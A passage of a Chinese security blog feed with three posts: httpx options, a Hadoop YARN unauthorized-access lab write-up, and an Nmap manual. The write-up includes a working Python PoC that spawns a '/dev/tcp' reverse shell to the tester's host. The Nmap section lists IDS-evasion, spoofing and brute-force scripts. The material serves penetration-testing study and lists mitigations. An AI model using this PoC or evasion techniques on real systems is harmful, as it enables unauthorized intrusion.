<h3 id="输出-🧰"><a href="#输出-🧰" class="headerlink" title="输出 🧰"></a>输出 🧰</h3><ul>
<li><code>-o</code> 指定输出文件</li>
<li><code>-oa</code> 以所有格式写入输出结果(默认,csv,json),需要先指定 -o</li>
<li><code>-sr</code>, -store-response , 将http响应存储到输出目录</li>
<li><code>-srd</code>, -store-response-dir string 将 http 响应存储到自定义目录</li>
<li><code>-csv</code> , 以 csv 格式存储输出</li>
<li><code>-csvo, -csv-output-encoding string</code> , 定义输出编码</li>
<li><code>-j, -json</code> , 以JSONL(ines)格式存储输出</li>
<li><code>-irh, -include-response-header</code>,在JSON输出中包含http响应(标头)(仅限-JSON)</li>
<li><code>-irr, -include-response</code>,在JSON输出中包含http请求/响应(头+正文)(仅限-JSON)</li>
<li><code>-irrb, -include-response-base64</code> ,在JSON输出中包含base64编码的http请求/响应(仅限-JSON)</li>
<li><code>-include-chain</code>,在JSON输出中包括重定向HTTP链(仅-JSON)</li>
<li><code>-svrc</code>,包括视觉侦察集群(仅限-ss和-sr)</li>
</ul>
<h3 id="配置-🤨"><a href="#配置-🤨" class="headerlink" title="配置 🤨"></a>配置 🤨</h3><ul>
<li><code>-config string</code> , 配置文件的config字符串路径(默认为$HOME/.config/httpx/config.yaml)</li>
<li><code>-r, -resolvers string[]</code> , 自定义 dns 解析器列表(文件或逗号分隔)( <strong>doh|tcp|udp</strong> ),形式为 <code>protocol:resolver:port</code>(例如 <code>udp:127.0.0.1:53</code>)</li>
<li><code>-allow string[]</code> , 允许处理的IP/CIDR列表(以文件或逗号分隔,ip地址,不能域名)</li>
<li><code>-deny string[]</code> , 拒绝处理的IP/CIDR列表(以文件或逗号分隔,ip地址,不能域名)</li>
<li><code>-sni, -sni-name string</code>, 自定义TLS SNI名称(TLS握手过程中指定要连接的主机名或域名)</li>
<li><code>-random-agent</code>,启用随机 user-agent 使用(默认为true)</li>
<li><code>-H, -header string[]</code>,自定义的HTTP标头发送请求</li>
<li><code>-http-proxy, -proxy string</code> , 使用 http 代理服务器(例如 <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a>)</li>
<li><code>-unsafe</code> ,发送跳过 Golang 标准化的原始请求,(可能会有得到更多相关的链接)</li>
<li><code>-resume</code> ,使用 resume.cfg 恢复扫描</li>
<li><code>-fr, -follow-redirects</code> ,跟随 http 重定向</li>
<li><code>-maxr, -max-redirects</code> int每个主机的最大重定向数(默认为10),部分网站需要大量的重定向才能访问成功</li>
<li><code>-fhr, -follow-host-redirects</code> 跟踪同一主机上的重定向</li>
<li><code>-rhsts, -respect-hsts</code> 尊重定向请求的HSTS响应头</li>
<li><code>-vhost-input</code> 获取vhost列表作为输入</li>
<li><code>-x string</code> 请求方法探测(get,post等等),使用’all’探测所有HTTP方法</li>
<li><code>-body string</code> 在HTTP请求中包含的参数消息体 “ value=value&value=value”</li>
<li><code>-s, -stream stream mode</code> , 流模式,开始详细说明输入目标而不进行排序</li>
<li><code>-sd, -skip-dedupe</code> 禁用重复数据删除输入项(仅用于流模式)</li>
<li><code>-ldp, -leave-default-ports</code> 在主机头保留默认的 http/https 端口(例如 <a href="http://host/">http://host</a>: 80- <a href="https://host/">https://host:443</a>)</li>
<li><code>-ztls</code> , 使用ztls库并自动回调到tls13的标准库</li>
<li><code>-no-decode</code>,避免解码body</li>
<li><code>-tlsi, -tls-impersonate</code> ,启用实验客户端hello(ja3)tls随机化</li>
<li><code>-no-stdin</code> , 禁用 Stdin 处理</li>
</ul>
<h3 id="DEBUG-🤪"><a href="#DEBUG-🤪" class="headerlink" title="DEBUG 🤪"></a>DEBUG 🤪</h3><ul>
<li><code>-health-check, -hc</code> 进行诊断检查</li>
<li><code>-debug</code> 在cli中显示请求/响应内容</li>
<li><code>-debug-req</code> 在 cli 中显示请求内容</li>
<li><code>-debug-resp</code> 在 cli 中显示返回内容</li>
<li><code>-version</code> 显示 httpx 版本</li>
<li><code>-stats</code> , 显示扫描统计</li>
<li><code>-profile-mem string</code> ,可选的HTTPX内存配置文件转储文件</li>
<li><code>-silent</code> ,静默模式(不显示httpx程序banner信息)</li>
<li><code>-v, -verbose</code> , 详细模式</li>
<li><code>-si, -stats-interval int</code> ,显示统计数据更新之间等待的秒数(默认值: 5)</li>
<li><code>-nc, -no-color</code> ,禁用cli输出中的颜色</li>
</ul>
<h3 id="优化-🙄"><a href="#优化-🙄" class="headerlink" title="优化 🙄"></a>优化 🙄</h3><ul>
<li><code>-nf, -no-fallback</code> 显示 http 与 https 两种协议探测</li>
<li><code>-nfs, -no-fallback-scheme</code> ,使用输入目标中指定的协议方案进行探测</li>
<li><code>-maxhr, -max-host-error int</code> ,跳过剩余路径之前,每个主机的最大错误计数(默认30)</li>
<li><code>-ec, -exclude-cdn</code> , 针对waf/cdn 跳过全端口扫描,只检查80和443</li>
<li><code>-eph, -exclude-private-hosts</code> ,跳过任何具有私有IP地址的主机(如 localhost)</li>
<li><code>-retries int</code> , 重试次数</li>
<li><code>-timeout int</code> ,以秒为单位的超时(默认值为10)</li>
<li><code>-delay value</code> ,每个http请求之间的持续时间(例如:200ms,1s)(默认值为-1ns)</li>
<li><code>-rsts, -response-size-to-save int</code> ,要保存的最大响应大小(以字节为单位)(默认值为2147483647)</li>
<li><code>-rstr, -response-size-to-read int</code> ,要读取的最大响应大小(以字节为单位)(默认值为2147483647)</li>
</ul>
<h1 id="😰-使用技巧"><a href="#😰-使用技巧" class="headerlink" title="😰 使用技巧"></a>😰 使用技巧</h1><figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">cat 一个文件进行测试</span><br><span class="line">cat hosts.<span class="property">txt</span> | httpx</span><br><span class="line"></span><br><span class="line">指定文件进行测试</span><br><span class="line">httpx -list hosts.<span class="property">txt</span> </span><br><span class="line"></span><br><span class="line"><span class="variable constant_">CIDR</span>输入测试</span><br><span class="line">echo <span class="number">173.0</span><span class="number">.84</span><span class="number">.0</span>/<span class="number">24</span> | httpx </span><br><span class="line"></span><br><span class="line"><span class="variable constant_">AS</span>编号测试</span><br><span class="line">echo <span class="title class_">AS14421</span> | httpx -silent</span><br><span class="line"></span><br><span class="line">管道工具链测试</span><br><span class="line">subfinder -d hackerone.<span class="property">com</span> | httpx</span><br><span class="line"></span><br><span class="line">工具链查找网站图标</span><br><span class="line">subfinder -d hackerone.<span class="property">com</span> -silent | httpx -favicon</span><br><span class="line"></span><br><span class="line">指纹识别</span><br><span class="line">subfinder -d hackerone.<span class="property">com</span> -silent | httpx -jarm</span><br><span class="line">subfinder -d hackerone.<span class="property">com</span> -silent | httpx -asn</span><br><span class="line"></span><br><span class="line">文件/路径暴力破解</span><br><span class="line">httpx -l urls.<span class="property">txt</span> -path /v1/api -sc</span><br><span class="line"></span><br><span class="line">docker 运行</span><br><span class="line">cat sub_domains.<span class="property">txt</span> | docker run -i projectdiscovery/httpx</span><br><span class="line"></span><br><span class="line">批量截图</span><br><span class="line">subfinder -d example.<span class="property">com</span> | httpx -screenshot</span><br></pre></td></tr></table></figure>
<h1 id="😬-参考文章"><a href="#😬-参考文章" class="headerlink" title="😬 参考文章"></a>😬 参考文章</h1><ul>
<li><a href="https://github.com/projectdiscovery/httpx">https://github.com/projectdiscovery/httpx</a></li>
</ul>
<h1 id="🥹-over-。-。-。-。"><a href="#🥹-over-。-。-。-。" class="headerlink" title="🥹 over. 。 。 。 。"></a>🥹 over. 。 。 。 。</h1><h1 id="🥹-over-。-。-。-。-1"><a href="#🥹-over-。-。-。-。-1" class="headerlink" title="🥹 over. 。 。 。 。"></a>🥹 over. 。 。 。 。</h1><h1 id="🥹-over-。-。-。-。-2"><a href="#🥹-over-。-。-。-。-2" class="headerlink" title="🥹 over. 。 。 。 。"></a>🥹 over. 。 。 。 。</h1></div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>tool</category>
<category>Httpx</category>
</categories>
<tags>
<tag>HTTPX</tag>
<tag>Tools</tag>
</tags>
</entry>
<entry>
<title>Hadoop 未授权访问</title>
<url>/2023/05/17/Hadoop/</url>
<content><![CDATA[<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>学习记录</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>新的一年快到了….</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline orange"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>05-17</p>
</div></div><div class='timeline-item-content'><h1 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h1><p>由于服务器直接在开放了 Hadoop 机器 的多个 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。</p>
<p>ResourceManager 默认端口8088 </p>
<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>使用 vulhub 搭建靶场环境</p>
<p>地址:<a href="https://vulhub.org/#/environments/hadoop/unauthorized-yarn/">https://vulhub.org/#/environments/hadoop/unauthorized-yarn/</a></p>
<p>下载环境,进入漏洞环境目录执行:<code>docker-compose up -d</code> 启动安装启动环境</p>
<p>环境启动后,访问<code>http://your-ip:8088</code>即可看到Hadoop YARN ResourceManager WebUI页面。</p>
<h1 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h1><p>调用 New Application API 创建 Application 进行代码注入,反弹shell。</p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><ul>
<li>启动 msfconsole</li>
<li>search hadoop</li>
<li>use linux/http/hadoop_unauth_exec</li>
<li>设置目标ip,本地监听ip</li>
<li>exploit</li>
</ul>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">py poc 代码</span><br><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line">import requests</span><br><span class="line"></span><br><span class="line">target = <span class="string">'http://127.0.0.1:8088/'</span></span><br><span class="line">lhost = <span class="string">'192.168.0.1'</span> <span class="comment"># put your local host ip here, and listen at port 9999</span></span><br><span class="line"></span><br><span class="line">url = target + <span class="string">'ws/v1/cluster/apps/new-application'</span></span><br><span class="line">resp = requests.post(url)</span><br><span class="line">app_id = resp.json()[<span class="string">'application-id'</span>]</span><br><span class="line">url = target + <span class="string">'ws/v1/cluster/apps'</span></span><br><span class="line">data = {</span><br><span class="line"> <span class="string">'application-id'</span>: app_id,</span><br><span class="line"> <span class="string">'application-name'</span>: <span class="string">'get-shell'</span>,</span><br><span class="line"> <span class="string">'am-container-spec'</span>: {</span><br><span class="line"> <span class="string">'commands'</span>: {</span><br><span class="line"> <span class="string">'command'</span>: <span class="string">'/bin/bash -i >& /dev/tcp/%s/9999 0>&1'</span> % lhost,</span><br><span class="line"> },</span><br><span class="line"> },</span><br><span class="line"> <span class="string">'application-type'</span>: <span class="string">'YARN'</span>,</span><br><span class="line">}</span><br><span class="line">requests.post(url, json=data)</span><br></pre></td></tr></table></figure>
<h1 id="漏洞加固"><a href="#漏洞加固" class="headerlink" title="漏洞加固"></a>漏洞加固</h1><ul>
<li>关闭hadoop web 管理页面</li>
<li>开启身份验证,防止未授权用户访问</li>
<li>设置防火墙安全组策略,禁止端口公网访问,限制可信ip</li>
</ul>
<h1 id="参考地址"><a href="#参考地址" class="headerlink" title="参考地址"></a>参考地址</h1><p><a href="https://vulhub.org/#/environments/hadoop/unauthorized-yarn/">https://vulhub.org/#/environments/hadoop/unauthorized-yarn/</a></p>
<p><a href="https://paper.seebug.org/409/#0x08-hadoop">https://paper.seebug.org/409/#0x08-hadoop</a></p>
</div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>未授权访问</category>
<category>Hadoop</category>
</categories>
<tags>
<tag>Hadoop</tag>
</tags>
</entry>
<entry>
<title>Nmap-参考手册</title>
<url>/2023/11/26/Nmap-Reference/</url>
<content><![CDATA[<div class="note red icon-padding flat"><i class="note-icon fas fa-fan"></i><p>奇奇怪怪</p>
</div>
<div class="note orange icon-padding flat"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>新的一天开始了</p>
</div>
<div class="note purple icon-padding flat"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline blue"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>11-26</p>
</div></div><div class='timeline-item-content'><p>永远新的开始啊</p>
<p><strong><strong><strong><strong><strong><strong>目录列表</strong></strong></strong></strong></strong></strong></p>
<hr>
<p>👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻👻</p>
<h1 id="简介-🤩"><a href="#简介-🤩" class="headerlink" title="简介 🤩"></a><strong>简介 🤩</strong></h1><p><strong>Nmap 使用手册</strong></p>
<p><strong>Nmap(Network Mapper)是一个用于网络探索和安全审计的开源工具。它被设计为快速扫描大型网络,尽管它对单个主机工作得很好。</strong></p>
<h1 id="参数说明-🤔"><a href="#参数说明-🤔" class="headerlink" title="参数说明 🤔"></a><strong>参数说明 🤔</strong></h1><ul>
<li><strong>-sL 列表扫描,扫描ip地址并且进行返现dns查找,主机发现(除非指定了 <code>-n</code> )</strong></li>
<li><strong>-n 不进行dns解析</strong></li>
<li><strong>-R 所有目标dns解析</strong></li>
<li><strong>-sS SYN扫描,SYN扫描是默认的扫描类型</strong></li>
<li><strong>-p- 扫描全部端口,默认情况下只扫描1,000个常见端口</strong></li>
<li><strong>-PA ACK 扫描主机发现</strong></li>
<li><strong>-PS80,443 SYN 扫描主机发现</strong></li>
<li><strong>-PU UDP扫描主机发现</strong></li>
<li><code>**-PE -PP -PS80,443 -PA3389 -PU40125</code> ping扫描,主机发现技术**</li>
<li><code>**-Pn</code> 跳过识别主机是否存活,扫描所有,很慢**</li>
<li><strong>-A 它相当于 <code>-sV</code> <code>-sC</code> <code>-O</code> <code>--traceroute</code> (版本检测、带有默认脚本集的Nmap脚本引擎、远程操作系统检测和traceroute)</strong></li>
<li><strong>-T 1 2 3 4 5 设置时间,越高越快,网络稳定的情况下可以尝试最大值</strong></li>
<li><strong>-oA filename-%D 扫描结果输出所有格式,文件名-时间格式,扩展名分别可为.nmap、.xml和.gnmap</strong></li>
<li><strong>-O os操作系统探测</strong></li>
<li><strong>-sn 关闭端口扫描</strong></li>
<li><strong>-sV 版本服务检测</strong></li>
<li><strong>-sC 使用默认脚本探测</strong></li>
<li><strong>参数排序</strong></li>
<li><strong>-iL filename 指定主机列表文件</strong></li>
<li><strong>-iR <num Hosts>:选择随机目标</strong></li>
<li><code>**--exclude</code> 127.0.0.1 排除ip**</li>
<li><code>**--excludefile</code> filename 排除ip列表文件**</li>
<li><strong>主机发现:</strong></li>
<li><strong>-sn:Ping 扫描 - 禁用端口扫描</strong></li>
<li><strong>-Pn:将所有主机视为在线–跳过主机发现</strong></li>
<li><strong>-PS/PA/PU/PY[端口列表]:给定端口的 TCP SYN/ACK、UDP 或 SCTP 发现</strong></li>
<li><strong>-PE/PP/PM:ICMP 回显、时间戳和网络掩码请求发现探测</strong></li>
<li><strong>-PO[协议列表]:IP协议Ping</strong></li>
<li><strong>-n/-R:从不进行 DNS 解析/始终解析 [默认值:有时]</strong></li>
<li><strong>–dns-servers <serv1[,serv2],…>: 指定自定义 DNS 服务器</strong></li>
<li><strong>–system-dns:使用操作系统的 DNS 解析器</strong></li>
<li><strong>–traceroute:跟踪每个主机的跃点路径</strong></li>
<li><strong>扫描技术:</strong></li>
<li><strong>-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描</strong></li>
<li><strong>-sU:UDP扫描</strong></li>
<li><strong>-sN/sF/sX:TCP Null、FIN 和 Xmas 扫描</strong></li>
<li><strong>–scanflags <flags>: 自定义 TCP 扫描标志 ,<code>URGACKPSHRSTSYNFIN</code> 指定所有协议</strong></li>
<li><strong>-sI <僵尸主机[:probeport]>:空闲扫描</strong></li>
<li><strong>-sY/sZ:SCTP INIT/COOKIE-ECHO 扫描</strong></li>
<li><strong>-sO:IP协议扫描</strong></li>
<li><strong>-b <FTP中继主机>:FTP反弹扫描</strong></li>
<li><strong>端口规格和扫描顺序:</strong></li>
<li><strong>-p <端口范围>:仅扫描指定端口<br> 例如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9</strong></li>
<li><strong>–exclude-ports <端口范围>:从扫描中排除指定端口</strong></li>
<li><strong>-F:快速模式 - 扫描比默认扫描更少的端口</strong></li>
<li><strong>-r:按顺序扫描端口 - 不要随机化</strong></li>
<li><strong>–top-ports <number>: 扫描 <number> 个最常见端口</strong></li>
<li><strong>–port-ratio <ratio>:扫描比<ratio>更常见的端口</strong></li>
<li><code>**--allports</code> (不排除任何端口进行版本检测)**</li>
<li><strong>服务/版本检测:</strong></li>
<li><strong>-sV:探测开放端口以确定服务/版本信息</strong></li>
<li><strong>–version-intensity <level>: 设置从 0 (light) 到 9 (尝试所有探针)</strong></li>
<li><strong>–version-light:限制最有可能的探测(强度 2)</strong></li>
<li><strong>–version-all:尝试每个探针(强度 9)</strong></li>
<li><strong>–version-trace:显示详细的版本扫描活动(用于调试)</strong></li>
<li><strong>脚本扫描:</strong></li>
<li><strong>-sC:相当于–script=default</strong></li>
<li><strong>–script=<Lua 脚本>: <Lua 脚本> 是逗号分隔的列表、目录、脚本文件或脚本类别</strong></li>
<li><strong>–script-args=<n1=v1,[n2=v2,…]>: 为脚本提供参数</strong></li>
<li><strong>–script-args-file=文件名:在文件中提供 NSE 脚本参数</strong></li>
<li><strong>–script-trace:显示发送和接收的所有数据</strong></li>
<li><strong>–script-updatedb:更新脚本数据库。</strong></li>
<li><strong>–script-help=<Lua 脚本>:显示有关脚本的帮助。 <Lua scripts> 是一个以逗号分隔的脚本文件列表或脚本类别。</strong></li>
<li><strong>操作系统检测:</strong></li>
<li><strong>-O:启用操作系统检测</strong></li>
<li><strong>–osscan-limit:将操作系统检测限制为有希望的目标</strong></li>
<li><strong>–osscan-guess:更积极地猜测操作系统</strong></li>
<li><strong>时间设置</strong></li>
</ul>
<p><strong>需要<time>的选项以秒为单位,或附加“ms”(毫秒),<br> ‘s’(秒)、’m’(分钟)或’h’(小时)到值(例如30m)</strong></p>
<ul>
<li><strong>-T<0-5>:设置计时模板(越高越快)</strong></li>
<li><strong>–min-hostgroup/max-hostgroup <size>:并行主机扫描组大小,max最大256</strong></li>
<li><strong>–min-parallelism/max-parallelism <numprobes>:最大256 探测并行化</strong></li>
<li><strong>–min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <时间>:指定探头往返时间,延时。Nmap等待端口扫描探测响应的最短、最长和初始时间。</strong></li>
<li><strong>–max-retries <tries>:端口扫描探测重传次数的上限。</strong></li>
<li><strong>–host-timeout <时间>:经过这么长时间后放弃目标,默认5分钟</strong></li>
<li><strong>–scan-delay/–max-scan-delay <时间>:调整探头之间的延迟,默认10s</strong></li>
<li><strong>–min-rate <number>: 每秒发送数据包的速度不低于<number></strong></li>
<li><strong>–max-rate <number>: 每秒发送数据包的速度不超过 <number></strong></li>
<li><strong>防火墙/IDS 规避和欺骗:</strong></li>
<li><code>**-f</code> (片段数据包); <code>--mtu</code> (使用指定的MTU)这个想法是将TCP报头分割成几个数据包,使数据包过滤器,入侵检测系统和其他入侵检测系统更难检测到您正在做什么。小心点!**</li>
<li><strong>-D <decoy1,decoy2[,ME],…>:用诱饵隐藏扫描</strong></li>
<li><strong>-S <IP_Address>:欺骗源地址</strong></li>
<li><strong>-e <iface>:使用指定的接口</strong></li>
<li><strong>-g/–source-port <portnum>:使用给定的端口号</strong></li>
<li><strong>–proxies <url1,[url2],…>: 通过 HTTP/SOCKS4 代理中继连接</strong></li>
<li><strong>–data <十六进制字符串>:将自定义负载附加到发送的数据包中</strong></li>
<li><strong>–data-string <string>:将自定义 ASCII 字符串附加到发送的数据包中</strong></li>
<li><strong>–data-length <num>:将随机数据附加到发送的数据包中</strong></li>
<li><strong>–ip-options <options>: 发送带有指定ip选项的数据包</strong></li>
<li><strong>–ttl <val>: 设置IP生存时间字段</strong></li>
<li><strong>–spoof-mac <mac 地址/前缀/供应商名称>: 欺骗您的 MAC 地址</strong></li>
<li><strong>–badsum:发送带有伪造 TCP/UDP/SCTP 校验和的数据包</strong></li>
<li><strong>输出扫描结果:</strong></li>
<li><strong>-oN/-oX/-oS/-oG <文件>:以正常、XML、s|<rIpt kIddi3 输出扫描,和 Grepable 格式分别为给定的文件名。</strong></li>
<li><strong>-oA <basename>:同时以三种主要格式输出</strong></li>
<li><strong>-v:增加详细级别(使用-vv或更多以获得更好的效果)</strong></li>
<li><strong>-d:提高调试级别(使用-dd或更多以获得更好的效果)</strong></li>
<li><strong>–reason:显示端口处于特定状态的原因</strong></li>
<li><strong>–open:仅显示开放(或可能开放)的端口</strong></li>
<li><strong>–packet-trace:显示发送和接收的所有数据包</strong></li>
<li><strong>–iflist:打印主机接口和路由(用于调试)</strong></li>
<li><strong>–append-output:附加到而不是破坏指定的输出文件</strong></li>
<li><strong>–resume <文件名>:恢复中止的扫描</strong></li>
<li><strong>–noninteractive:通过键盘禁用运行时交互</strong></li>
<li><strong>–stylesheet <path/URL>:用于将 XML 输出转换为 HTML 的 XSL 样式表</strong></li>
<li><strong>–webxml:来自 Nmap.Org 的参考样式表,以获得更可移植的 XML</strong></li>
<li><strong>–no-stylesheet:防止 XSL 样式表与 XML 输出关联</strong></li>
<li><strong>其他:</strong></li>
<li><strong>-6:启用 IPv6 扫描</strong></li>
<li><strong>-A:启用操作系统检测、版本检测、脚本扫描和traceroute</strong></li>
<li><strong>–datadir <dirname>: 指定自定义 Nmap 数据文件位置</strong></li>
<li><strong>–send-eth/–send-ip:使用原始以太网帧或 IP 数据包发送</strong></li>
<li><strong>–privileged:假设用户具有完全特权</strong></li>
<li><strong>–unprivileged:假设用户缺乏原始套接字权限</strong></li>
<li><strong>–resolve-all选项:当主机名被指定为目标时,它通过域名系统(DNS)解析以确定要扫描的IP地址。如果名称解析为多个IP地址,则只扫描第一个。要让Nmap扫描所有解析的地址,而不仅仅是第一个,请使用 –resolve-all 选项。</strong></li>
<li><code>**--unique</code> (每个地址只扫描一次)**</li>
</ul>
<h1 id="使用技巧-😀"><a href="#使用技巧-😀" class="headerlink" title="使用技巧 😀"></a><strong>使用技巧 😀</strong></h1><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a><strong>主机发现</strong></h2><ul>
<li><strong>nmap -sn -T4 <a href="http://www.lwn.net/24">www.lwn.net/24</a> 快速扫描指定域名C段</strong></li>
<li><strong>nmap -PE 最佳主机发现参数</strong></li>
<li><strong>-PE -PS80 -PS443 -PP -PU40125 -PS3389 -PA21 -PU161 –source-port 53 最佳主机发现组合</strong></li>
<li><strong>-PE -PA80 -PS443 -PP -PU40125 –source-port 53 最佳主机发现组合精简</strong></li>
<li><strong>最佳TCP端口选择,80,443,113,21,23,25,53,22,110,3389,8080,1723</strong></li>
<li><strong>最佳UDP端口选择,53,161</strong></li>
<li><strong>-PE -PP -PS21,22,23,25,80,113,443,31339 -PA80,113,443,10042 –source-port 53 组合推荐</strong></li>
</ul>
<h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a><strong>端口扫描</strong></h2><ul>
<li><strong>最常见TCP端口,80,23,443,21,22,25,3389,110,445,139,143,53,135,3306,8080,1723,111,993,5900</strong></li>
<li><strong>最常见UDP端口,631,161,137,123,138,1434,445,135,67,53,139,500,68,520,1900,4500,514,49152,162,69</strong></li>
</ul>
<h2 id="优化参数"><a href="#优化参数" class="headerlink" title="优化参数"></a><strong>优化参数</strong></h2><ul>
<li><code>**F</code>:快速扫描。只对常见端口进行扫描,而不是对所有的65535个端口进行扫描。**</li>
<li><code>**T</code>参数:用于设置扫描的速度/侦察级别。<code>T5</code>是最快的扫描速度,而<code>T0</code>则是最慢的扫描速度。**</li>
<li><code>**-min-rate</code>和<code>-max-retries</code>参数:可以控制nmap发送探测包的速率和重试次数,进而影响扫描的速度。**</li>
<li><code>**-host-timeout</code>参数:可以设置主机超时时间,当一个主机长时间没有响应时,nmap会跳过该主机,从而加快扫描速度。**</li>
</ul>
<h2 id="Nmap-脚本"><a href="#Nmap-脚本" class="headerlink" title="Nmap 脚本"></a><strong>Nmap 脚本</strong></h2><ul>
<li><a href="https://nmap.org/nsedoc/lib/">**https://nmap.org/nsedoc/lib/</a> 脚本库**</li>
<li><a href="https://nmap.org/nsedoc/scripts/">**https://nmap.org/nsedoc/scripts/</a> nmap 官方 600+脚本介绍**</li>
<li><a href="https://nmap.org/nsedoc/scripts/dns-zone-transfer.html">**https://nmap.org/nsedoc/scripts/dns-zone-transfer.html</a> dns区域传输**</li>
<li><code>**-sC</code> 它相当于 <code>--script=default</code>**</li>
<li><strong>nmap –script scriptname</strong></li>
<li><code>**--script-updatedb</code> 更新脚本数据库**</li>
<li><code>**--script-args *<n1>*=*<v1>*,*<n2>*={*<n3>*=*<v3>*},*<n4>*={*<v4>*,*<v5>*}</code> 设置脚本参数**</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">**nmap --script dns-zone-transfer.nse \</span><br><span class="line"> --script-args dns-zone-transfer.domain=<domain>**</span><br></pre></td></tr></table></figure>
<ul>
<li><a href="https://nmap.org/nsedoc/scripts/firewall-bypass.html">**https://nmap.org/nsedoc/scripts/firewall-bypass.html</a> 防火墙绕过**</li>
</ul>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">**nmap --script firewall-bypass <target></span><br><span class="line">nmap --script firewall-bypass --script-args firewall-bypass.<span class="property">helper</span>=<span class="string">"ftp"</span>, firewall-bypass.<span class="property">targetport</span>=<span class="number">22</span> <target>**</span><br></pre></td></tr></table></figure>
<ul>
<li><code>**nmap --script ftp-brute -p 21 <host></code> ftp爆破**</li>
<li><code>**nmap --script hostmap-bfk --script-args hostmap-bfk.prefix=hostmap- <targets></code> 通过查询<a href="http://www.bfk.de/bfk_dnslogger.html%E4%B8%8A%E7%9A%84%E8%81%94%E6%9C%BA%E6%95%B0%E6%8D%AE%E5%BA%93%EF%BC%8C%E5%8F%91%E7%8E%B0%E8%A7%A3%E6%9E%90%E4%B8%BA%E7%9B%AE%E6%A0%87IP%E5%9C%B0%E5%9D%80%E7%9A%84%E4%B8%BB%E6%9C%BA%E5%90%8D%E3%80%82">http://www.bfk.de/bfk_dnslogger.html上的联机数据库,发现解析为目标IP地址的主机名。</a>**</li>
<li><strong>crt证书透明子域名查询</strong></li>
</ul>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">**nmap --script hostmap-crtsh --script-args <span class="string">'hostmap-crtsh.prefix=hostmap-'</span> <targets></span><br><span class="line">nmap -sn --script hostmap-crtsh <target></span><br><span class="line">通过查询<span class="title class_">Google</span>的证书透明度日志数据库(<span class="attr">https</span>:<span class="comment">//crt.sh)查找Web服务器的子域。**</span></span><br></pre></td></tr></table></figure>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">**实用脚本集合</span><br><span class="line">通过查询<span class="attr">http</span>:<span class="comment">//ip.robtex.com/上的在线Robtex服务,发现解析为目标IP地址的主机名。</span></span><br><span class="line">nmap --script hostmap-robtex -sn -<span class="title class_">Pn</span> scanme.<span class="property">nmap</span>.<span class="property">org</span></span><br><span class="line"></span><br><span class="line">搜索网站并尝试识别已发现文件的备份副本。它通过请求一些不同的文件名组合(例如,index.<span class="property">bak</span>、index.<span class="property">html</span>~、index.<span class="property">html</span>的副本)。</span><br><span class="line">nmap --script=http-backup-finder <target></span><br><span class="line"></span><br><span class="line">对http basic、digest和ntlm身份验证执行强力密码审核。</span><br><span class="line">nmap --script http-brute -p <span class="number">80</span> <host></span><br><span class="line"></span><br><span class="line">从<span class="variable constant_">HTTP</span>响应中提取并输出<span class="variable constant_">HTML</span>和<span class="title class_">JavaScript</span>注释。</span><br><span class="line">nmap -p80 --script http-comments-displayer.<span class="property">nse</span> <host></span><br><span class="line"></span><br><span class="line">检查通用内容管理系统和<span class="title class_">Web</span>服务器配置文件的备份和交换文件。</span><br><span class="line">nmap --script=http-config-backup <target></span><br><span class="line"></span><br><span class="line">使用各种<span class="title 